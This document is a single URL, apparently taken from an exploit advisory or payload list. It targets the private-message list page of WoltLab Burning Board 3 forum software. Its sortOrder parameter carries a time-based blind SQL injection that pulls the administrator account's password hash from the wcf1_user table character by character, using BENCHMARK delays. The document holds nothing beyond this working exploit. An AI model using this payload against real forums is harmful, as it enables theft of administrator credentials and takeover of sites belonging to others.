http://www.example.com/wbb3/index.php?page=PMList&amp;folderID=0&amp;pageNo=1&amp;sortField=isViewed&amp;sortOrder=ASC, (SELECT password FROM wcf1_user WHERE userID=1 AND IF(ORD(SUBSTR(password,1,1))&gt;55,BENCHMARK(3000000,MD5(23)),1))